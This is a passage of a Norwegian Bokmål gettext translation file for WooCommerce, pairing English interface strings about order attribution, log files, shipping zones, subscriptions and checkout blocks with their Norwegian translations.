msgid "Direct"
msgstr "Direkte"
#. translators: %s is the source value
#: src/Internal/Traits/OrderAttributionMeta.php:294
msgid "Referral: %s"
msgstr "Henvisning: %s"
#. translators: %s is the source value
#: src/Internal/Traits/OrderAttributionMeta.php:288
msgid "Organic: %s"
msgstr "Organisk: %s"
#. translators: %s is the source value
#: src/Internal/Traits/OrderAttributionMeta.php:282
msgid "Source: %s"
msgstr "Kilde: %s"
#: src/Internal/Traits/OrderAttributionMeta.php:212
msgid "Order not found."
msgstr "Ordren ble ikke funnet."
#: src/Internal/ProductImage/MatchImageBySKU.php:67
msgid "Set product featured image when uploaded image file name matches product SKU."
msgstr "Angi fremhevet produktbilde når det opplastede bildets filnavn samsvarer med produktnummer."
#: src/Internal/ProductImage/MatchImageBySKU.php:66
msgid "Match images"
msgstr "Samsvarende bilder"
#: src/Internal/ProductImage/MatchImageBySKU.php:61
msgid "Product image matching by SKU"
msgstr "Samsvarende produktbilder etter produktnummer"
#: src/Internal/Orders/OrderAttributionController.php:530
#: templates/order/attribution-details.php:27
msgid "Origin"
msgstr "Opphav"
#. translators: %s is the field name
#: src/Internal/Orders/OrderAttributionBlocksController.php:161
#: src/Internal/Traits/OrderAttributionMeta.php:381
msgid "Order attribution field: %s"
msgstr "Ordreattribusjonsfelt: %s"
#. translators: %s is the property type
#: src/Internal/Orders/OrderAttributionBlocksController.php:144
msgid "Value of type %s was posted to the order attribution callback"
msgstr "En verdi av typen %s ble sendt til ordreattribusjonstilbakemeldingen"
#: src/Internal/Features/ProductBlockEditor/ProductTemplates/SimpleProductTemplate.php:476
msgid "Make a collection of related products, enabling customers to purchase multiple items together."
msgstr "Lag en samling av relaterte produkter, slik at kundene kan kjøpe flere varer sammen."
#: src/Internal/Features/ProductBlockEditor/ProductTemplates/SimpleProductTemplate.php:475
msgid "Products in this group"
msgstr "Produkter i denne gruppen"
#. translators: %1$s: Downloads settings link opening tag. %2$s: Downloads
#. settings link closing tag.
#: src/Internal/Features/ProductBlockEditor/ProductTemplates/DownloadableProductTrait.php:59
msgid "Add any files you'd like to make available for the customer to download after purchasing, such as instructions or warranty info. Store-wide updates can be managed in your %1$sproduct settings%2$s."
msgstr "Legg til filer du ønsker å gjøre tilgjengelig for kunden etter kjøpet, for eksempel instruksjoner eller garanti-informasjon. Oppdateringer for hele butikken kan administreres i %1$sproduktinnstillingene%2$s."
#: src/Internal/Features/FeaturesController.php:366
msgid "Enable this feature to track and credit channels and campaigns that contribute to orders on your site"
msgstr "Slå på denne funksjonen for å spore og kreditere kanaler og kampanjer som bidrar til ordre på nettstedet."
#: src/Internal/Features/FeaturesController.php:365
msgid "Order Attribution"
msgstr "Ordreattribusjon"
#: src/Internal/DataStores/Orders/LegacyDataHandler.php:210
msgid "Order is not an HPOS order."
msgstr "Ordren er ikke en HPOS-ordre."
#. translators: %d is an order ID.
#: src/Internal/DataStores/Orders/LegacyDataHandler.php:170
msgid "%d is not a valid order ID."
msgstr "%d er ikke en gyldig ordre-id."
#: src/Internal/Admin/Orders/MetaBoxes/OrderAttribution.php:46
msgid "Desktop"
msgstr "Desktop"
#: src/Internal/Admin/Orders/MetaBoxes/OrderAttribution.php:43
msgid "Tablet"
msgstr "Nettbrett"
#: src/Internal/Admin/Orders/MetaBoxes/OrderAttribution.php:40
msgid "Mobile"
msgstr "Mobil"
#: src/Internal/Admin/Orders/Edit.php:277
msgid "Customer history"
msgstr "Kundehistorikk"
#. Translators: %s order type name.
#: src/Internal/Admin/Orders/Edit.php:247
msgid "%s attribution"
msgstr "%sattribusjon"
#. translators: %s is a number.
#: src/Internal/Admin/Logging/PageController.php:809
msgid "⚠️ Only %s files can be searched at one time. Try filtering the file list before searching."
msgstr "⚠️ Det kan bare søkes i %s filer om gangen. Prøv å filtrere listen av filer før du søker."
#: src/Internal/Admin/Logging/PageController.php:793
msgid "Search within these files"
msgstr "Søk i disse filene"
#. translators: %s is a number of log files.
#: src/Internal/Admin/Logging/LogHandlerFileV2.php:286
msgid "%s expired log file was deleted."
msgid_plural "%s expired log files were deleted."
msgstr[0] "%s utløpt loggfil ble slettet."
msgstr[1] "%s utløpte loggfiler ble slettet."
#. translators: %s is a line number in a file.
#: src/Internal/Admin/Logging/FileV2/SearchListTable.php:183
msgid "Line %s"
msgstr "Linje %s"
#: src/Internal/Admin/Logging/FileV2/SearchListTable.php:142
msgid "Matched Line"
msgstr "Matchet linje"
#: src/Internal/Admin/Logging/FileV2/SearchListTable.php:141
msgid "Line #"
msgstr "Linje nr."
#. translators: %s is a number.
#: src/Internal/Admin/Logging/FileV2/SearchListTable.php:114
msgid "The number of search results has reached the limit of %s. Try refining your search."
msgstr "Antall søkeresultater har nådd grensen på %s. Prøv å avgrense søket."
#: src/Internal/Admin/Logging/FileV2/SearchListTable.php:60
msgid "No search results."
msgstr "Ingen søkeresultater."
#: src/Internal/Admin/Logging/FileV2/FileExporter.php:63
msgid "Could not access file."
msgstr "Kunne ikke få tilgang til filen."
#: src/Internal/Admin/Logging/FileV2/FileController.php:540
msgid "Could not write to the temp directory. Try downloading files one at a time instead."
msgstr "Kunne ikke skrive til den midlertidige katalogen. Prøv å laste ned én fil om gangen i stedet."
#: src/Internal/Admin/Logging/FileV2/FileController.php:531
msgid "Could not access the specified files."
msgstr "Kunne ikke få tilgang til de angitte filene."
#: src/Internal/Admin/Logging/FileV2/FileController.php:363
msgid "Multiple files match this ID."
msgstr "Flere filer samsvarer med denne id-en."
#. translators: %d is the number of orders that were cleaned up.
#: src/Database/Migrations/CustomOrderTable/CLIRunner.php:1022
msgid "Cleanup completed for %d order."
msgid_plural "Cleanup completed for %d orders."
msgstr[0] "Opprydding fullført for %d ordre."
msgstr[1] "Opprydding fullført for %d ordrer."
#. translators: %1$d is an order ID, %2$s is an error message.
#: src/Database/Migrations/CustomOrderTable/CLIRunner.php:986
msgid "An error occurred while cleaning up order %1$d: %2$s"
msgstr "Det oppstod en feil under opprydding av ordre %1$d: %2$s"
#. translators: %d is an order ID.
#: src/Database/Migrations/CustomOrderTable/CLIRunner.php:983
msgid "Cleanup completed for order %d."
msgstr "Opprydding fullført for ordre %d."
#. translators: %d is the number of orders to clean up.
#: src/Database/Migrations/CustomOrderTable/CLIRunner.php:965
msgid "Starting cleanup for %d order..."
msgid_plural "Starting cleanup for %d orders..."
msgstr[0] "Starter opprydding av %d ordre..."
msgstr[1] "Starter opprydding av %d ordrer..."
#: src/Database/Migrations/CustomOrderTable/CLIRunner.php:960
msgid "HPOS cleanup"
msgstr "HPOS-opprydding"
#: src/Database/Migrations/CustomOrderTable/CLIRunner.php:956
msgid "No orders to cleanup."
msgstr "Ingen ordre om opprydding."
#: src/Database/Migrations/CustomOrderTable/CLIRunner.php:945
msgid "Cleanup can only be performed when HPOS is active and compatibility mode is disabled."
msgstr "Opprydding kan bare utføres når HPOS er aktiv og kompatibilitetsmodus er deaktivert."
#. translators: %s is field key.
#: src/Blocks/Domain/Services/CheckoutFields.php:177
msgid "The field %s is required."
msgstr "Feltet %s er påkrevd."
#. translators: %1$s is field key, %2$s location.
#: src/Blocks/Domain/Services/CheckoutFields.php:1120
msgid "The field %1$s is invalid for the location %2$s."
msgstr "Feltet %1$s er ugyldig for plasseringen %2$s."
#. translators: % is field key.
#: src/Blocks/Domain/Services/CheckoutFields.php:1109
msgid "The field %s is invalid."
msgstr "Feltet %s er ugyldig."
#. translators: %1$d is referring to rating value. Example: Rated 4 out of 5.
#: src/Blocks/BlockTypes/ProductFilterRating.php:108
#: src/Blocks/BlockTypes/ProductFilterRating.php:173
msgid "Rated %1$d out of 5"
msgstr "Vurdert %1$d av 5"
#: src/Admin/Features/ShippingPartnerSuggestions/DefaultShippingPartners.php:156
msgid "Free Plan Available"
msgstr "Gratis plan tilgjengelig"
#: src/Admin/Features/ShippingPartnerSuggestions/DefaultShippingPartners.php:152
msgid "Built-in Tax & Duties paperwork"
msgstr "Innebygd avgiftsoppgaver"
#: src/Admin/Features/ShippingPartnerSuggestions/DefaultShippingPartners.php:148
msgid "Branded tracking experience"
msgstr "Merkevarebasert sporingsopplevelse"
#: src/Admin/Features/ShippingPartnerSuggestions/DefaultShippingPartners.php:141
msgid "Seamless order sync and label printing"
msgstr "Sømløs ordresynkronisering og etikettutskrift"
#: src/Admin/Features/ShippingPartnerSuggestions/DefaultShippingPartners.php:137
msgid "Highly discounted shipping rates"
msgstr "Sterkt rabatterte fraktpriser"
#: src/Admin/Features/ShippingPartnerSuggestions/DefaultShippingPartners.php:127
msgid "Simplified shipping with: "
msgstr "Forenklet frakt med: "
#: patterns/hero-product-split.php:29
msgid "Shop the sale"
msgstr "Handle på tilbud"
#. translators: Payment gateway enabled notification email subject. %s1: Site
#. title, $s2: Gateway title.
#: includes/class-wc-payment-gateways.php:273
msgid "[%1$s] Payment gateway \"%2$s\" enabled"
msgstr "[%1$s] Betalingsløsningen «%2$s» ble aktivert"
#. translators: Payment gateway enabled notification email. 1: Username, 2:
#. Gateway Title, 3: Site URL, 4: Gateway Settings URL, 5: Admin Email, 6: Site
#. Name, 7: Site URL.
#: includes/class-wc-payment-gateways.php:236
msgid ""
"Howdy %1$s,\n"
"\n"
"The payment gateway \"%2$s\" was just enabled on this site:\n"
"%3$s\n"
"\n"
"If this was intentional you can safely ignore and delete this email.\n"
"\n"
"If you did not enable this payment gateway, please log in to your site and consider disabling it here:\n"
"%4$s\n"
"\n"
"This email has been sent to %5$s\n"
"\n"
"Regards,\n"
"All at %6$s\n"
"%7$s"
msgstr ""
"Hei %1$s,\n"
"\n"
"Betalingsløsningen «%2$s» ble nettopp aktivert på nettstedet:\n"
"%3$s\n"
"\n"
"Hvis dette var tilsiktet kan du trygt ignorere og slette denne e-posten, men hvis ikke kan du logge inn på nettstedet og vurdere å deaktivere den her:\n"
"%4$s\n"
"\n"
"Denne e-posten har blitt sendt til %5$s\n"
"\n"
"Med vennlig hilsen\n"
"%6$s\n"
"%7$s"
#: includes/admin/helper/class-wc-helper-subscriptions-api.php:388
msgid "There was an error getting the install URL for this product."
msgstr "Det oppstod en feil ved henting av installasjonsadressen for dette produktet."
#: includes/admin/helper/class-wc-helper-subscriptions-api.php:375
msgid "This product is already installed."
msgstr "Dette produktet er allerede installert."
#: includes/admin/class-wc-admin-status.php:345
#: includes/admin/class-wc-admin-status.php:365
msgid "You do not have permission to manage log entries."
msgstr "Du har ikke tillatelse til å administrere loggoppføringer."
#: includes/admin/class-wc-admin-log-table-list.php:227
msgid "Hide context"
msgstr "Skjul kontekst"
#: includes/admin/class-wc-admin-log-table-list.php:226
#: includes/admin/class-wc-admin-log-table-list.php:230
msgid "Show context"
msgstr "Vis kontekst"
#: includes/admin/class-wc-admin-log-table-list.php:138
msgid "Context"
msgstr "Kontekst"
#: includes/admin/class-wc-admin-log-table-list.php:119
#: src/Internal/Admin/Logging/PageController.php:733
msgid "Additional context"
msgstr "Ytterligere kontekst"
#: assets/client/blocks/product-collection-no-results/block.json
msgctxt "block keyword"
msgid "Product Collection"
msgstr "Produktutvalg"
#: assets/client/blocks/product-collection-no-results/block.json
msgctxt "block description"
msgid "The contents of this block will display when there are no products found."
msgstr "Innholdet i denne blokken vises når det ikke finnes noen produkter."
#: assets/client/blocks/product-collection-no-results/block.json
msgctxt "block title"
msgid "No results"
msgstr "Ingen resultater"
#: assets/client/blocks/product-filter-rating/block.json
msgctxt "block title"
msgid "Rating Filter"
msgstr "Vurderingsfilter"
#: src/Admin/RemoteInboxNotifications/RemoteInboxNotificationsEngine.php:271
#: assets/client/admin/chunks/marketplace.js:1
msgid "Refresh"
msgstr "Oppdater"
#. translators: %s is the audio player icon.
#. translators: %s is the social service name.
#: packages/email-editor/src/Integrations/Core/Renderer/Blocks/class-audio.php:130
#: packages/email-editor/src/Integrations/Core/Renderer/Blocks/class-social-links.php:171
#: assets/client/admin/chunks/marketplace.js:1
msgid "%s icon"
msgstr "%s ikon"
#: src/Admin/PluginsHelper.php:823 src/Admin/PluginsHelper.php:1098
#: assets/client/admin/chunks/marketplace.js:1
msgid "Subscribe"
msgstr "Abonner"
#: src/Internal/Features/ProductBlockEditor/ProductTemplates/SimpleProductTemplate.php:1034
msgid "This product will not trigger your customer's shipping calculator in cart or at checkout. This product also won't require your customers to enter their shipping details at checkout. <a href=\"https://woocommerce.com/document/managing-products/#adding-a-virtual-product\" target=\"_blank\" rel=\"noreferrer\">Read more about virtual products</a>."
msgstr "Dette produktet utløser ikke kundens fraktkalkulator i handlekurven eller i kassen. Dette produktet krever heller ikke at kundene oppgir fraktopplysninger i kassen. <a href=\"https://woocommerce.com/document/managing-products/#adding-a-virtual-product\" target=\"_blank\" rel=\"noreferrer\">Les mer om virtuelle produkter</a>."
#: src/Internal/Features/ProductBlockEditor/ProductTemplates/SimpleProductTemplate.php:1007
msgid "This product has options, such as size or color. You can now manage each variation's shipping settings and other details individually."
msgstr "Dette produktet har alternativer, for eksempel størrelse eller farge. Du kan nå administrere fraktinnstillingene og andre detaljer for hver variant individuelt."
#: src/Internal/Features/ProductBlockEditor/ProductTemplates/SimpleProductTemplate.php:719
msgid "This product has options, such as size or color. You can now manage each variation's inventory and other details individually."
msgstr "Dette produktet har alternativer, for eksempel størrelse eller farge. Du kan nå administrere lagerbeholdningen og andre detaljer for hver variant individuelt."
#: src/Internal/Features/ProductBlockEditor/ProductTemplates/SimpleProductTemplate.php:541
msgid "Help customers find this product by assigning it to categories, adding extra details, and managing its visibility in your store and other channels."
msgstr "Hjelp kundene med å finne dette produktet ved å tilordne det til kategorier, legge til ekstra detaljer og administrere synligheten i butikken og andre kanaler."
#: src/Internal/Features/ProductBlockEditor/ProductTemplates/SimpleProductTemplate.php:456
msgid "Buy button text"
msgstr "Tekst til kjøpsknappen"
#: src/Internal/Features/ProductBlockEditor/ProductTemplates/SimpleProductTemplate.php:429
msgid "Link to the external product is an invalid URL."
msgstr "Lenken til det eksterne produktet er en ugyldig nettadresse."
#: src/Internal/Features/ProductBlockEditor/ProductTemplates/SimpleProductTemplate.php:425
msgid "Enter the external URL to the product"
msgstr "Fyll inn den eksterne nettadressen til produktet"
#: src/Internal/Features/ProductBlockEditor/ProductTemplates/SimpleProductTemplate.php:424
msgid "Link to the external product"
msgstr "Lenke til det eksterne produktet"
#: src/Internal/Features/ProductBlockEditor/ProductTemplates/SimpleProductTemplate.php:407
msgid "Add a link and choose a label for the button linked to a product sold elsewhere."
msgstr "Legg til en lenke og velg en etikett for knappen som er knyttet til et produkt som selges andre steder."
#: src/Internal/Features/ProductBlockEditor/ProductTemplates/SimpleProductTemplate.php:406
msgid "Buy button"
msgstr "Kjøp knappen"
#: src/Internal/Features/ProductBlockEditor/ProductTemplates/SimpleProductTemplate.php:162
msgid "This product has options, such as size or color. You can manage each variation's images, downloads, and other details individually."
msgstr "Dette produktet har alternativer, for eksempel størrelse eller farge. Du kan administrere bilder, nedlastinger og andre detaljer for hver variant individuelt."
#: src/Internal/Features/ProductBlockEditor/ProductTemplates/ProductVariationTemplate.php:452
msgid "This variation will not trigger your customer's shipping calculator in cart or at checkout. This product also won't require your customers to enter their shipping details at checkout. <a href=\"https://woocommerce.com/document/managing-products/#adding-a-virtual-product\" target=\"_blank\" rel=\"noreferrer\">Read more about virtual products</a>."
msgstr "Denne varianten utløser ikke kundens fraktkalkulator i handlekurven eller i kassen. Dette produktet krever heller ikke at kundene oppgir fraktopplysninger i kassen. <a href=\"https://woocommerce.com/document/managing-products/#adding-a-virtual-product\" target=\"_blank\" rel=\"noreferrer\">Les mer om virtuelle produkter</a>."
#. translators: %s is a number of files.
#: src/Internal/Admin/Logging/PageController.php:669
msgid "%s log file deleted."
msgid_plural "%s log files deleted."
msgstr[0] "%s loggfil slettet."
msgstr[1] "%s loggfiler slettet."
#: src/Internal/Admin/Logging/PageController.php:610
msgid "You do not have permission to manage log files."
msgstr "Du har ikke tillatelse til å administrere loggfiler."
#: src/Internal/Admin/Logging/PageController.php:354
msgid "Current"
msgstr "Gjeldende"
#: src/Internal/Admin/Logging/PageController.php:346
msgid "File rotations:"
msgstr "Rotasjon av filer:"
#. translators: %s is the name of a log file.
#: src/Internal/Admin/Logging/PageController.php:336
msgid "Viewing log file %s"
msgstr "Visning av loggfil %s"
#: src/Internal/Admin/Logging/PageController.php:324
msgid "Delete this log file permanently?"
msgstr "Slette denne loggfilen permanent?"
#: src/Internal/Admin/Logging/PageController.php:296
msgid "Return to the file list."
msgstr "Gå tilbake til fillisten."
#: src/Internal/Admin/Logging/PageController.php:258
msgid "Browse log files"
msgstr "Bla gjennom loggfiler"
#. translators: 1. a date, 2. a slug-style name for a file.
#: src/Internal/Admin/Logging/FileV2/FileListTable.php:244
msgid "Select the %1$s log file for %2$s"
msgstr "Velg loggfilen %1$s for %2$s"
#: src/Internal/Admin/Logging/FileV2/FileListTable.php:201
msgid "File size"
msgstr "Filstørrelse"
#: src/Internal/Admin/Logging/FileV2/FileListTable.php:200
msgid "Date modified"
msgstr "Dato endret"
#: src/Internal/Admin/Logging/FileV2/FileListTable.php:107
msgid "Filter by log source"
msgstr "Filtrer etter loggkilde"
#: src/Internal/Admin/Logging/FileV2/FileListTable.php:60
msgid "No log files found."
msgstr "Ingen loggfiler funnet."
#: src/Internal/Admin/Logging/FileV2/FileController.php:356
msgid "This file does not exist."
msgstr "Denne filen finnes ikke."
#: src/Internal/Admin/Logging/FileV2/FileController.php:212
#: src/Internal/Admin/Logging/FileV2/FileController.php:457
msgid "Could not access the log file directory."
msgstr "Kunne ikke få tilgang til loggfilkatalogen."
#. translators: 1: WC_Logger::log 2: level
#: src/Internal/Admin/BlockTemplates/BlockTemplateLogger.php:347
msgid "%1$s was called with an invalid event type \"%2$s\"."
msgstr "%1$s ble kalt med en ugyldig hendelsestype \"%2$s\"."
#. translators: %1$s is the name of the hook to be enqueued, %2$s is the
#. exception message.
#: packages/action-scheduler/classes/ActionScheduler_ActionFactory.php:326
msgid "Caught exception while enqueuing action \"%1$s\": %2$s"
msgstr "Fikk et unntak mens du satte handlingen \"%1$s\" i kø: %2$s"
#: includes/shipping/local-pickup/class-wc-shipping-local-pickup.php:106
msgid "e.g. Local pickup"
msgstr "f.eks. lokal henting"
#: includes/shipping/free-shipping/class-wc-shipping-free-shipping.php:129
msgid "Customers will need to spend this amount to get free shipping."
msgstr "Kundene må bruke dette beløpet for å få gratis frakt."
#: includes/shipping/free-shipping/class-wc-shipping-free-shipping.php:121
msgid "A minimum order amount AND coupon"
msgstr "Et minimum ordrebeløp OG rabattkode"
#: includes/shipping/free-shipping/class-wc-shipping-free-shipping.php:120
msgid "A minimum order amount OR coupon"
msgstr "Et minimum ordrebeløp ELLER rabattkode"
#: includes/shipping/free-shipping/class-wc-shipping-free-shipping.php:117
msgid "No requirement"
msgstr "Ingen krav"
#: includes/shipping/free-shipping/class-wc-shipping-free-shipping.php:112
msgid "Free shipping requires"
msgstr "Gratis frakt krever"
#: includes/shipping/free-shipping/class-wc-shipping-free-shipping.php:108
msgid "e.g. Free shipping"
msgstr "f.eks. gratis frakt"
#: includes/admin/settings/class-wc-settings-shipping.php:344
msgid "Please enter a valid number."
msgstr "Du må fylle inn et gyldig nummer."
#. translators: %s: URL for link
#: includes/shipping/flat-rate/includes/settings-flat-rate.php:54
msgid "These costs can optionally be added based on the <a target=\"_blank\" href=\"%s\">product shipping class</a>. Learn more about <a target=\"_blank\" href=\"https://woocommerce.com/document/flat-rate-shipping/#shipping-classes\">setting shipping class costs</a>."
msgstr "Disse kostnadene kan eventuelt legges til basert på <a target=\"_blank\" href=\"%s\">produktets fraktklasse</a>. Finn ut mer om hvordan du <a target=\"_blank\" href=\"https://woocommerce.com/document/flat-rate-shipping/#shipping-classes\">angir fraktklassekostnader</a>."
#: includes/shipping/flat-rate/includes/settings-flat-rate.php:21
msgid "e.g. Standard national"
msgstr "f.eks. standard nasjonal"
#: includes/shipping/flat-rate/includes/settings-flat-rate.php:19
#: includes/shipping/free-shipping/class-wc-shipping-free-shipping.php:106
#: includes/shipping/local-pickup/class-wc-shipping-local-pickup.php:104
msgid "Your customers will see the name of this shipping method during checkout."
msgstr "Kundene vil se navnet på denne fraktmåten i kassen."
#: includes/shipping/flat-rate/includes/settings-flat-rate.php:13
msgid "advanced costs"
msgstr "avanserte kostnader"
#: includes/shipping/flat-rate/includes/settings-flat-rate.php:13
msgid "Charge a flat rate per item, or enter a cost formula to charge a percentage based cost or a minimum fee. Learn more about"
msgstr "Ta en fast pris per produkt, eller angi en kostnadsformel for en prosentbasert kostnad eller et minimumsgebyr. Finn ut mer om"
#: includes/rest-api/Controllers/Version3/class-wc-rest-product-variations-controller.php:1184
msgid "Attribute terms."
msgstr "Attributt-termer."
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-v2-controller.php:156
msgid "WooCommerce Store Identifier."
msgstr "WooCommerce Store Identifier."
#. translators: %s: Product title
#: includes/class-wc-product-simple.php:75
msgid "Add to cart: “%s”"
msgstr "Legg i handlekurv: «%s»"
#: includes/admin/settings/views/html-admin-page-shipping-zones.php:57
msgid "An optional zone you can use to set the shipping method(s) available to any regions that have not been listed above."
msgstr "En valgfri sone som kan brukes til å angi hvilke(n) fraktmåte(r) som er tilgjengelig for alle regioner som ikke er oppført ovenfor."
#: includes/admin/settings/views/html-admin-page-shipping-zones.php:21
msgid "A shipping zone consists of the region(s) you'd like to ship to and the shipping method(s) offered. A shopper can only be matched to one zone, and we'll use their shipping address to show them the methods available in their area."
msgstr "En fraktsone består av regionen(e) du ønsker å sende til, og fraktmetoden(e) som tilbys. En kunde kan bare knyttes til én sone, og vi bruker leveringsadressen til å vise kunden hvilke metoder som er tilgjengelige i området."
#: includes/admin/settings/views/html-admin-page-shipping-zone-methods.php:18
#: includes/admin/settings/views/html-admin-page-shipping-zones.php:17
msgid "Add zone"
msgstr "Legg til sone"
#: includes/admin/settings/views/html-admin-page-shipping-zone-methods.php:271
msgid "STEP 1 OF 2"
msgstr "TRINN 1 AV 2"
#: includes/admin/settings/views/html-admin-page-shipping-zone-methods.php:181
msgid "Create shipping method"
msgstr "Opprett fraktmåte"
#: includes/admin/settings/views/html-admin-page-shipping-zone-methods.php:167
msgid "STEP 2 OF 2"
msgstr "TRINN 2 AV 2"
#: includes/admin/settings/views/html-admin-page-shipping-zone-methods.php:156
msgid "Add shipping class costs"
msgstr "Legg til kostnader for fraktklasse"
#. translators: %s: shipping method title
#: includes/admin/settings/views/html-admin-page-shipping-zone-methods.php:142
msgid "Set up %s"
msgstr "Sett opp %s"
#: includes/admin/settings/views/html-admin-page-shipping-zone-methods.php:71
msgid "Add the shipping methods you'd like to make available to customers in this zone."
msgstr "Legg til fraktmåtene som skal gjøres tilgjengelig for kunder i denne sonen."
#: includes/admin/settings/views/html-admin-page-shipping-zone-methods.php:47
msgid "List the regions you'd like to include in your shipping zone. Customers will be matched against these regions."
msgstr "Oppgi regionene du ønsker å inkludere i fraktsonen. Kunder vil bli matchet mot disse regionene."
#: includes/admin/settings/views/html-admin-page-shipping-zone-methods.php:34
msgid "Give your zone a name! E.g. Local, or Worldwide."
msgstr "Gi sonen din et navn! F.eks. lokal eller verdensomspennende."
#: includes/admin/settings/views/html-admin-page-shipping-classes.php:89
msgid "e.g. For heavy items requiring higher postage"
msgstr "f.eks. for tunge forsendelser som krever høyere porto"
#: includes/admin/settings/views/html-admin-page-shipping-classes.php:80
msgid "Slug (unique identifier) can be left blank and auto-generated, or you can enter one"
msgstr "Slug (unik identifikator) kan stå tom og autogenereres, eller du kan skrive inn en"
#: includes/admin/settings/views/html-admin-page-shipping-classes.php:78
msgid "e.g. heavy-packages"
msgstr "f.eks. tunge pakker"
#: includes/admin/settings/views/html-admin-page-shipping-classes.php:69
msgid "Give your shipping class a name for easy identification"
msgstr "Gi fraktklassen et navn for enkel identifikasjon"
#: includes/admin/settings/views/html-admin-page-shipping-classes.php:67
msgid "e.g. Heavy"
msgstr "f.eks. tung"
#: includes/admin/settings/views/html-admin-page-shipping-classes.php:20
msgid "Use shipping classes to customize the shipping rates for different groups of products, such as heavy items that require higher postage fees."
msgstr "Bruk fraktklasser til å tilpasse fraktprisene for ulike produktgrupper, for eksempel tunge varer som krever høyere porto."
#: includes/admin/settings/class-wc-settings-shipping.php:59
msgid "Classes"
msgstr "Klasser"
#: includes/admin/helper/class-wc-helper.php:1182
#: includes/admin/helper/class-wc-helper.php:1309
#: src/Internal/Admin/Settings/Utils.php:381
#: src/Internal/Admin/Settings/Utils.php:421
msgid "Unknown error"
msgstr "Ukjent feil"
#: includes/admin/helper/class-wc-helper.php:1151
#: includes/admin/helper/class-wc-helper.php:1204
#: includes/admin/helper/class-wc-helper.php:1268
msgid "Subscription not found"
msgstr "Finner ikke abonnement"
#: includes/admin/helper/class-wc-helper-subscriptions-api.php:349
msgid "This product has been activated."
msgstr "Dette produktet er aktivert."
#: includes/admin/helper/class-wc-helper-subscriptions-api.php:340
msgid "There was an error activating this theme."
msgstr "Det oppstod en feil ved aktivering av dette temaet."
#: includes/admin/helper/class-wc-helper-subscriptions-api.php:329
msgid "There was an error activating this plugin."
msgstr "Det oppstod en feil ved aktivering av denne plugin-modulen."
#: includes/admin/helper/class-wc-helper-subscriptions-api.php:319
msgid "This product is already active."
msgstr "Dette produktet er allerede aktivt."
#: includes/admin/helper/class-wc-helper-subscriptions-api.php:310
msgid "This product is not installed."
msgstr "Dette produktet er ikke installert."
#: includes/admin/helper/class-wc-helper-subscriptions-api.php:301
#: includes/admin/helper/class-wc-helper-subscriptions-api.php:366
msgid "We couldn't find a subscription for this product."
msgstr "Vi fant ikke noe abonnement for dette produktet."
#: includes/admin/helper/class-wc-helper-subscriptions-api.php:281
msgid "There was an error disconnecting your subscription. Please try again."
msgstr "Det oppstod en feil ved frakoblingen av abonnementet ditt. Vennligst prøv igjen."
#: includes/admin/helper/class-wc-helper-subscriptions-api.php:275
msgid "Your subscription has been disconnected."
msgstr "Abonnementet ditt er frakoblet."
#: includes/admin/helper/class-wc-helper-subscriptions-api.php:215
msgid "There was an error connecting your subscription. Please try again."
msgstr "Det oppstod en feil ved tilkoblingen av abonnementet ditt. Vennligst prøv igjen."
#: includes/admin/helper/class-wc-helper-subscriptions-api.php:209
msgid "Your subscription has been connected."
msgstr "Abonnementet ditt er koblet til."
#. translators: %1$s Coupon codes, %2$s Reason
#: src/StoreApi/Utilities/OrderController.php:311
msgid "\"%1$s\" was removed from the cart. %2$s"
msgstr "\"%1$s\" ble fjernet fra handlekurven. %2$s"
#: assets/client/blocks/page-content-wrapper/block.json
msgctxt "block description"
msgid "Displays WooCommerce page content."
msgstr "Viser innholdet på WooCommerce-siden."
#: assets/client/blocks/page-content-wrapper/block.json
msgctxt "block title"
msgid "WooCommerce Page"
msgstr "WooCommerce-side"
#: assets/client/blocks/order-confirmation-totals/block.json
msgctxt "block description"
msgid "Display the items purchased and order totals."
msgstr "Vis produktene som er kjøpt og ordresummen."
#: assets/client/blocks/order-confirmation-totals/block.json
msgctxt "block title"
msgid "Order Totals"
msgstr "Ordresummer"
#: assets/client/blocks/order-confirmation-totals-wrapper/block.json
msgctxt "block description"
msgid "Display the order details section."
msgstr "Vis seksjonen med ordredetaljer."
#: assets/client/blocks/order-confirmation-totals-wrapper/block.json
msgctxt "block title"
msgid "Order Totals Section"
msgstr "Seksjon for ordretotaler"
#: assets/client/blocks/order-confirmation-summary/block.json
msgctxt "block description"
msgid "Display the order summary on the order confirmation page."
msgstr "Vis ordresammendraget på ordrebekreftelsessiden."
#: assets/client/blocks/order-confirmation-status/block.json
msgctxt "block description"
msgid "Display a \"thank you\" message, or a sentence regarding the current order status."
msgstr "Vis en \"takk\"-melding eller en setning om gjeldende ordrestatus."
#: assets/client/blocks/order-confirmation-status/block.json
msgctxt "block title"
msgid "Order Status"
msgstr "Ordrestatus"
#: assets/client/blocks/order-confirmation-shipping-wrapper/block.json
msgctxt "block description"
msgid "Display the order confirmation shipping section."
msgstr "Vis forsendelsesdelen av ordrebekreftelsen."
#: assets/client/blocks/order-confirmation-shipping-wrapper/block.json
msgctxt "block title"
msgid "Shipping Address Section"
msgstr "Seksjon for leveringsadresse"
#: assets/client/blocks/order-confirmation-shipping-address/block.json
msgctxt "block description"
msgid "Display the order confirmation shipping address."
msgstr "Vis leveringsadressen i ordrebekreftelsen."
#: assets/client/blocks/order-confirmation-downloads/block.json
msgctxt "block description"
msgid "Display links to purchased downloads."
msgstr "Vis lenker til kjøpte nedlastinger."
#: assets/client/blocks/order-confirmation-downloads/block.json
msgctxt "block title"
msgid "Order Downloads"
msgstr "Ordre nedlastinger"
#: assets/client/blocks/order-confirmation-downloads-wrapper/block.json
msgctxt "block description"
msgid "Display the downloadable products section."
msgstr "Vis seksjonen for nedlastbare produkter."
#: assets/client/blocks/order-confirmation-downloads-wrapper/block.json
msgctxt "block title"
msgid "Downloads Section"
msgstr "Seksjon for nedlastinger"
#: assets/client/blocks/order-confirmation-billing-wrapper/block.json
msgctxt "block description"
msgid "Display the order confirmation billing section."
msgstr "Vis faktureringsdelen av ordrebekreftelsen."
#: assets/client/blocks/order-confirmation-billing-wrapper/block.json
msgctxt "block title"
msgid "Billing Address Section"
msgstr "Seksjon for faktureringsadresse"
#: assets/client/blocks/order-confirmation-billing-address/block.json
msgctxt "block description"
msgid "Display the order confirmation billing address."
msgstr "Vis faktureringsadressen i ordrebekreftelsen."
#: assets/client/blocks/order-confirmation-additional-information/block.json
msgctxt "block description"
msgid "Displays additional information provided by third-party extensions for the current order."
msgstr "Viser tilleggsinformasjon fra tredjepartsutvidelser for den aktuelle ordren."
#: assets/client/blocks/order-confirmation-additional-information/block.json
msgctxt "block title"
msgid "Additional Information"
msgstr "Tilleggsinformasjon"
#: assets/client/blocks/classic-shortcode/block.json
